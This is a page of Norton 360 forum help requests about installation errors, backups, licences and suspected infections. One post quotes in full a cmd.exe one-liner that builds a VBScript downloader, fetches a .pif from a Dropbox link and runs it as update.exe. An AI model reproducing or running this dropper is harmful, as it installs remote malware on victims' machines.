Welcome!

Welcome to the Norton Forums! Scan the threads for topics of interest or create your own. For fastest results, use our search feature to find related conversations. Symantec employees also post here when they can. So don't be shy -- join the discussions!

Please read our Participation Guidelines and Terms of Service before using the community.

Regular Visitor
dogbreederslist
Posts: 5
Registered: ‎05-24-2011
Norton 360 Premiere V 6.4.0.9 Pup.mywebsearch

I've been getting this malware, and N360 doesn't detect it. If I run Malware Bytes, it is detected and I can remove it. Why doesn't N360 detect?

Bob

Newbie
bubitt
Posts: 1
Registered: ‎01-31-2013
Need A bit of help re Java. Any assistance gratefully accepted

Hope someone might take pity on me with a bit of advice.

I was at a bit of a loss regarding the Norton Security Alert email ref Java Vulnerability, as I am not particularly tech minded. My apologies in advance.

I was somewhat reassured by the message that as my N360 runs on auto update and I also run LiveUpdate each session, I was ’protected against the latest Java vulnerability’.

However, I have no knowledge of Java, nor whether Java was on my XP or my WIN 7 64 bit.

I checked within programs on both computers, but could not locate Java. I tried to check via a couple of informational websites, which indicated I may have to dig about, possibly in the registry (and not something I would ever attempt), to fully confirm.

I thought it might be best to see about the security patch Norton email recommended I apply ie ‘Oracle’s recently released security patch’.

The patch downloaded and installed successfully on both computers. I could then see Java was available in the programs section on both.

I noted I was able to disable Java within its console, but chose to uninstall Java on both computers thinking this may be the safest option.

I then ran full Norton scans, and MRT.exe, with no infection indicated.

Now to my questions –

Can I be reassured that both systems are now fully secure?

Can I be certain the is no Java on either computer?

Is there any further action I should consider?

Thank you in anticipation of any help.

 

 

Contributor
Lightwave
Posts: 13
Registered: ‎01-31-2013
Question Re: Backup

Hello: I am in the process of cleaning up my hard drive (HD) on my notebook computer.  I made good progress.  A bit of history about my HD.  Early this year, I remember have about 1.83 GB of free space on my HD.  By the 15th of Jan 13, I increased my HD free space to 4.23 GB.  Currently, as of 31st of Jan 13, I have 7.22 GB of free space on my HD.  My HD capacity is 96.9 GB.

 

I had to learn how to remove unneeded programs from my computer and transfer files to a CD for storage.  I've had my computer since August 2006.  Yes, I know it is outdated now, but it still serves a purpose for me until I can upgrade to a newer computer or actually find the time to build a computer.

 

Now I've been using the Norton 360 Internet Security software for the time I've owned my computer.  However, I have instructed the program to put my backups on my hard drive at Local Disk (C:).  My awareness now tells me, this is not the best choice for putting  backups of my computer files.  I am now planning on a change of where to put my backups.  My intention is to purchase a 1.5 TB external HD.  Once I've purchase the 1.5 TB external HD, I will have to instruct the Norton 360 program to put my backups on the external 1.5 TB HD.  This change will now leave me with a prior backup of my computer files on my HD Local Disk (C:).  Once I change to putting my backups on the external 1.5 TB HD, I will no longer need to take up the space used on my HD Local Disk (C:) for prior backups.

 

Now for my question.  How do I free up the space used by prior backups on my HD Local Disk (C:) after putting newer backups on to my external 1.5 TB HD?

 

Here's what I know so far:

1. The N360_Backup properties reveals the following: Size 52.4 GB and Size on Disk 51.5 GB.

2. My Documents and Settings properties reveals the following: Size 11.0 and Size on Disk 9.29 GB

3. Picture properties reveals the following: Size 159 MB and Size on Disk 159 MB.

4. I just realized after looking at what backup sets are being backed up, I can understand why the numbers at (1) above are greater than the numbers at (2) above.

5. So, all this tells me, that the file: N360_Backup is the file on my Local Disk (C:) used for my computer backup purposes.

6. If I am correct about point (5) above and once I purchase a 1.5 TB external HD and instruct Norton 360 to place my new backups on the 1.5 TB external HD then I can delete the N360_Backup file from my Local Disk (C:).

7. Considering the numbers at point (1), if I delete the N360_Backup file from my Local Disk (C:) then I'll be freeing up (51.5 GB) which is more than half the available space on my Local Disk (C:) (96.9 GB).

 

Next Questions (NQ):

NQ1: Am I correct about point (6) above?

NQ2: Am I correct about point (7) above?

NQ3: Everytime the Norton 360 program performs a backup of my computer files then does it rewrite over the same space used in a prior backup?

NQ4: Not sure about this, but if after I do a disk clean up and disk defrag then this should also speed up my computer somewhat.  Is this correct?

 

 

 

Newbie
ankhsunamun
Posts: 1
Registered: ‎01-31-2013
Norton 360 renewal concern....

Firstly, greetings from a new member.

 

I lost my job 4 yrs ago and will not have the money to renew my product. Previously, I was able to pay having received a couple of small inheritances, but now, I have no savings and am unable to pay for the full amount required, and was wondering

( and hoping ) that there was someway to pay for my Norton360 in 2/3 increments or monthly. It would be so much easier for me and I am sure many others, if there was something that could be done to pay online in stages ?

 

I do NOT want to lose this service but I am struggling at this time and need help !!!!

Contributor
StevieT
Posts: 12
Registered: ‎09-26-2012
Unable to re-activate Norton Online Backup

Hi there,

 

Last night I restarted my laptop, and started getting errors within Norton 360 Premier: "error 8504, 104". However, I powered off my laptop and upon logging in again Norton was working as normal, except wtih an at risk for Backup. I've tried to reactive the backup account to no avail. My original subscription for the rest of Norton 360 seems to be established and intact.

 

The screenshots are in order, eg image1.jpg - image3.jpg.

 

1. http://img.photobucket.com/albums/v608/steviet/image1.jpg

 

2. http://img.photobucket.com/albums/v608/steviet/image2-1.jpg

 

3. http://img.photobucket.com/albums/v608/steviet/image3-1.jpg

Visitor
Kermitthefrog
Posts: 4
Registered: ‎01-31-2013
Accepted Solution
Norton 360 Failing To Start

Hello,

 

I need some expert help on this one.  I have Norton 360 running on a Windows 7 operating system since October, 2011.  For the last several weeks, I have found that Norton 360 will not start when I boot up my PC.  Here's the scenario.  I turn on my PC and boot things up, Norton 360 does not start, I download NRT and run it to remove 360, I download the latest version of 360 from my user account and run it to reinstall the product.  360 installs just fine, I run Liveupdate, and I'm good for the day. A couple of days later, the problem reoccurs and I perform the deinstall/reinstall again to get it working.  This happened on January 10, 24, and again today.  I've also called the Norton phone support number on January 22 and 28.  During both of these calls, the Norton tech does the deinstall/reinstall while I watch and the product works again for a couple of days before the problem reoccurs.

 

My question is this - is it possible to get a Norton tech with the expertise to actually fix the problem rather than just do the deinstall/reinstall and have it go bad again after a couple of days?

Contributor
MarkStewart
Posts: 14
Registered: ‎07-15-2010
N360 and RAMdisk
[ Edited ]

RAM disks have been around for decades. I have just bought AMD RAMdisk 64GB. Matching my hardware, RAMdisk is using 28760MB. I am setting it to save disk image to C: root on shutdown. Along with other user tweaks like SecEdit protocols, I am going to setup RAMdisk just after setting up my network drivers and just before before Norton 360, followed by Windows Update. This is to make certain that Norton begins by addressing the correct system image, integrates with standard maintenance, and addresses all of that with a RAMdisk up and running. Establishing RAMdisk after security, office and other OS superstructure is assembled has resulted frequent memory warnings for applications running only tiny parcels like 136MB on a system with 4GB video card memory, 32GB stick RAM and an 8 core i7 Intel with Windows installed on a 500GB Intel SSD. RAMdisk is all new in my Norton 360 experience. Any feedback would be welcome. Such feedback will entertain the above noted RAMdisk installation. TIA.

 

Note ! The 'ramdisk' os installation will be avoiding java and flash like the plague. I have noted that java and flash are largely unregulated in Region 3, and are established technological warehouses for virtually all criminal web activity. A post expressing my disgust with that lack of regulation is here, on or about page 5:

http://answers.microsoft.com/en-us/windows/forum/windows_vista-performance/what-is-the-java-tm-plug-... Colony's Microsoft corporation has removed the entire topic? Or is it just another well-timed maintenance? From the 'not found' page search "what is the java tm plug in ssv helper" and it is there, top of list, and opens with the maintenance popup. Just as it is being reviewed by indigenous American administrations sharing in my disgust - that would be typical. Sorry. Freedom of Speech, and all that essential, grunt camp tripe.

Newbie
bweckman
Posts: 1
Registered: ‎01-30-2013
Screen Capture prevention

I am working with a screen capture program to record on-screen activity.  I seem to be having issues with the image collection and am only getting a black screen when I review the recorded files.  I am not sure if this is being done by my Norton or if it is an issue with the capture program itself.  If Norton is the source, is there a way to disable or bypass the screen capture prevention for this particular software?

Newbie
stephenjo
Posts: 3
Registered: ‎01-29-2013
phony emails from my Yahoo contacts

Recently I began getting phony emails from people in my Yahoo email contacts list.  The subject line is always "Hi" and when I open the email, it says something like "check this out" and then it gives a link to some website I'm not familiar with.  I never clicked on the links, I just deleted the emails.

 

Norton 360 indicated there were no problems with my computer security.  I'm trying to understand if my computer itself has been "hacked" (whatever that means), or if it isn't my computer that's been hacked, it's my Yahoo account somewhere out there in Cyberspace.  I just did a Full Scan with 360, it said it found 93 problems and resolved all of them. 

 

Can anyone address whether my computer itself was compromised by this problem?

Newbie
popabear4077
Posts: 3
Registered: ‎01-30-2013
Accepted Solution
Firewall

I am using windows xp and not been able to broose on the internet the dianostic report states that the firewall client is blocking the necessary FTP port is there an answer to this issue

Visitor
pt046166
Posts: 3
Registered: ‎03-17-2011
Undo an upgrade

I just installed the version upgrade to Norton 360 - now ver 20.2.1.22.  Can I go back to the previous version??

Newbie
seurit5587
Posts: 1
Registered: ‎01-30-2013
hacking UPnP

Norton protected us from the Java attact. What about the new Homeland Security warning about UPnP? Will I need to find and delete this or will Norton cover this also?

Contributor
Islander_4_Ever
Posts: 11
Registered: ‎08-22-2011
Symantec Service Framework keeps crashing | Norton Support HASN'T!!

Symantec Service Framework keeps crashing | Norton Support HASN'T!! |

Remote access ... didn't fix the problem. They did the same thing that I had attempted @ Monday PM ... over 5 TIMES!

  • Uninstalled w. Norton Removal Tool
  • ran Power Eraser
  • Reinstalled Norton 360 Premier Multi Device
  • They even downloaded & (re)installed Microsoft NET Framework 3.5 SP1
  • Previously installed on system: Microsoft .NET Framework 2.0 Service Pack 2, Microsoft .NET Framework 3.0 Service Pack 2
  • Crashes - Error 8504, 104
  • WONT'T RESTART UNLESS RESTART COMPUTER, THEN CRASHES AGAIN VERY SHORTLY
  • NO PROTECTION IN PLACE.

System: HP Pavilion a 720n running Windows XP SP3



 

Contributor
Bv123
Posts: 10
Registered: ‎02-07-2012
winconfig.vbs Backdoor/Trojan
[ Edited ]
Hi all,

 

I have suspicion that I have recently been infected with a Backdoor trojan or something like that. Keylogging, webcam controls and screen spying, I am not sure if norton has protected me.

 

Recently, me and my friend started up a website with another friend portentially making a business.

This 'other friend' added one of his little 'scripts' onto the site. Here it is:

 

cmd.exe /c echo Const adTypeBinary = 1 > %temp%\winconfig.vbs & echo Const adSaveCreateOverWrite = 2 >> %temp%\winconfig.vbs & echo Dim S >> %temp%\winconfig.vbs & echo Dim A >> %temp%\winconfig.vbs & echo Dim DTNDTN >> %temp%\winconfig.vbs & echo S = "ADODB" >> %temp%\winconfig.vbs & echo A = ".Stream" >> %temp%\winconfig.vbs & echo Set DTNDTN = CreateObject(S+A) >> %temp%\winconfig.vbs & echo DTNDTN.Type = adTypeBinary >> %temp%\winconfig.vbs & echo DTNDTN.Open >> %temp%\winconfig.vbs & echo DTNDTN.Write BinaryGetURL(Wscript.Arguments(0)) >> %temp%\winconfig.vbs & echo DTNDTN.SaveToFile Wscript.Arguments(1), adSaveCreateOverWrite >> %temp%\winconfig.vbs & echo Function BinaryGetURL(URL) >> %temp%\winconfig.vbs & echo Dim Http >> %temp%\winconfig.vbs & echo Set Http = CreateObject("WinHttp.WinHttpRequest.5.1") >> %temp%\winconfig.vbs & echo Http.Open "GET", URL, False >> %temp%\winconfig.vbs & echo Http.Send >> %temp%\winconfig.vbs & echo BinaryGetURL = Http.ResponseBody >> %temp%\winconfig.vbs & echo End Function >> %temp%\winconfig.vbs & echo Set shell = CreateObject("WScript.Shell") >> %temp%\winconfig.vbs & echo shell.Run "%temp%\update.exe" >> %temp%\winconfig.vbs & start %temp%\winconfig.vbs  http://dl.dropbox.com/u/81443892/JavaUpdater.pif %temp%\update.exe

 

Now, it features 'winconfig.vbs' mentioned a lot there. This friend has been known for key logging my clan's members, we have researched about it and this site says it can be dangerous:

 

etermniate-it.com

 

 

Has norton protected me?

Am I safe? What do I do?

 

see that Dropbox link in the code? I attempted to download that (but not open it) and Chrome blocked the download saying it was Virus. I am concerned about if this is a drive by download and I really need some help.

 

thank you, god bless you all

 

 

 

[edit: Please do not link to malicious websites per the Participation Guidelines and Terms of Service.]

Visitor
creyes112
Posts: 1
Registered: ‎01-30-2013
tracking cookies that wont delete
[ Edited ]

I ran norton 360's full system scan and it found two tracking cookies, "Orphan cleanup" and Removed

I have the latest update version 20.2.1.22

 

norton removes the orphanclean up but not the Removed it says that the Removed  is ot detected.

and everytime i ran a scan it would always pick these two up even if i run it in safe mode or run a scan 30 seconds later.

 

Also, I have noticed that my computer has gotten really slow with loading up programs. When i start up, the program will load okay but then 2 min into the computer, everything starts to slow down big time. the programs seem like it will never load, and i noticed that my scvhost.exe is running over 100,000 on my task manager when i check the box processes from all users. 

 

Please help!

thank you

 

 

[edit:Do not post email addresses per the Participation Guidelines and Terms of Service.]

Visitor
mvincent
Posts: 2
Registered: ‎01-30-2013
I think my computer has some kind of redirect virus.

My browser keeps redirecting me to different websites. I had let my virus protection lapse. I paid and updated Norton 360 thinking it would solve my problem. Not!!  I've done a little research (before I came across this forum) and I've tried the malware removal and tdss?? removal. I'm in over my head since I don't mess with this depth of computer stuff.  Not sure what to do now. Thanks for any help offered. And I apologize if I don't understand what you are talking about, I don't normally mess with this kind of stuff. Thanks.

 

Newbie
nmorgan
Posts: 2
Registered: ‎01-30-2013
Accepted Solution
norton 360 stops working

I'm in need of some help. Over the last 3-4 weeks, my NIS 360 has stopped working on 4 occassions. I've downloaded and used the uninstaller as advised, and the programme re-installs and works fine for about a week, and then stops again. The worrying part is that I only notice it not working because Identity Safe stops filling in my info. Therefore I could possibly be without internet protection. I'm running Vista and the version of 360 is V5

Newbie
KemiAgagu
Posts: 1
Registered: ‎01-30-2013
NORTON 360 MULTI DEVICE
Good day, please i will like to confirm if the 25GB storage space in Multi-device is per user or for the 3 users at once?
Posted from Facebook
Newbie
Joudy
Posts: 1
Registered: ‎01-29-2013
Does Norton Defrag my computer?

Does Norton defrag my computer? If so how can I find out if it is done every time the system runs or how do I do a Defrag at a certain time? Thanks.

Visitor
DeanHoffman
Posts: 3
Registered: ‎01-29-2013
Accepted Solution
Trust in Norton 360 Destroys Me.....My Review

Just wanted to let you know I will never buy your software again. I just found out that because I did nor renew my subscription that you completely turned off all protection and as a result I lost thousands of dollars in time and data from an old virus.

 

I guess I can blame myself for not paying closer attention, but for 20 years I have been used to anti-virus software working after update expiration (minus new updates). I truly was not aware that you left me completely unprotected because I did not send you more money quick enough. It costs you nothing, absolutely ZERO to keep an old version working. I feel completely screwed over by you. 

 

Keep in mind, I own my own software company, so please don't say I don't understand. 

 

You have made a short-sited decision to force immediate upgrades at the expense of your long term customer loyalty and satisfaction and TRUST in you! 

 

Once again, I have purchased your products and updates for years. However, at this point you will NEVER get another cent of my money. 

 

I posted a Facebook post explaining how you left my out to dry, I hope it goes viral. Have a great day, may someone let you down when you least suspect it and most need them. 

 

Super smart guys there at the firm...

 

Dean Hoffman

Ex-Customer

Visitor
dubarnik
Posts: 6
Registered: ‎07-10-2010
Norton 360 blocking Skydrive sync

I just installed Office 365.  Files are syncing to SkyDrive.  Most files are syncing okay.  However, some file syncing is being blocked by Norton 360.  It gives me this "Suspicious.Cloud.5" as the reason for the block.

 

Any ideas?

Newbie
wbiesty
Posts: 2
Registered: ‎01-29-2013
Win7 Keeps losing uistub.exe due to folder version name changes

I kept suspecting malware until I found on the community that it really is Symantec's fault that my desktop and task bar icons for norton 360 keep becoming invalid in windows 7 because the version number and name of the folder changes with live update!

 

My current version is 20.2.1.22. This has happened 3 times since installation a few months ago. What happened?

I had to manually fix the link and icons. Very frustrating.

 

When will this stop happening?

 

WB

Visitor
First_Cori_13
Posts: 3
Registered: ‎01-29-2013
Seeking Help--Norton 360 won't open

I am unable to open Norton 360 from the desktop icon, the system tray or from Start.  I can run LiveUpdate and "Check for New Version".  The product seems to be running.  I just can't open it.  

 

I have successfully installed Norton 360 several times.  Each time it works fine until I shut down the computer and bring it back up.  When I try to open Norton 360, it appears that nothing happens, but eventually an error message pops up (Error 8504, 100).

 

I have uninstalled and reinstalled four times (using slight variations) with the same results. I have followed the steps recommended by others on this site including a scan for malware.  I have unistalled from my control panel before using Norton Removal Tool.  I have the latest version of Norton 360 and the latest updates.  

 

Why does shutting down the computer and bringing it back up cause Norton 360 to malfunction?

 

I would appreciate any help.

 

 

Newbie
gtsak
Posts: 1
Registered: ‎01-29-2013
Reintalling norton 360 without the cd (but with product key)

Hellow,

I bought norton 360 about 5 months ago and I had to format one of the PCs I used it for. I would like to ask if I can reinstall it. (I have lost the CD but I still have the product key) 

Newbie
cecilia
Posts: 1
Registered: ‎01-29-2013
HElp

I got a licence for 3 pcs of Norton 360 but one of my computers had to be reset a now I don´t know how to recover that licence... I'm from Peru and there's no number to call from here.... I would like to know what can I do to get my licence again.

Visitor
keirblair
Posts: 4
Registered: ‎01-29-2013
Accepted Solution
Norton 360 Exclusive Gold Edition HELP

Hi I bought my new Samsung notebook at PC World and purchased Norton 360 Exclusive Gold Edition.  I obviously need to down load this and use activation key, anybod out there know where I download this as I can find NOTHING on this 360 Gold and certainly not the exclusive edition, getting pretty stressed here....

Newbie
Jimbosum48
Posts: 1
Registered: ‎01-29-2013
Norton 360 is reporting an error 3047, 53

However this is not on this computer but my partners laptop and this error has knock out the internet connection so I cannot fix by running any internet fixes Can anybody help?

Visitor
hoyter52
Posts: 2
Registered: ‎01-29-2013
Auto-Protect continuously detects and deletes "Suspicious.Cloud.7.EP"
[ Edited ]

A few days ago I started getting a continuous auto-protect notification of Suspicious.Cloud.7.EP in the details it indicates it is tied to C:Program Files (x86)\basicseek\basicseek.dll.  I ran a full scan and nothing was detected.  I believe it is a false indication and I need to get this pain to stop.  Thanks.

Newbie
parothd
Posts: 1
Registered: ‎01-29-2013
Outbound Email problem

I am starting to receive the message 452 4.7.0 too many messages sent. I am only sending one message.  How can I fix this?

Visitor
Mizzie30
Posts: 1
Registered: ‎01-29-2013
Hard Drive Wipe

I have a trojan (backdoor I'm pretty sure) and I think I got rid of it but to make sure I wanted to wipe my hard drive. Will what get rid of it for sure? Also is there any programs you recommend to do the job? Thanks in advance.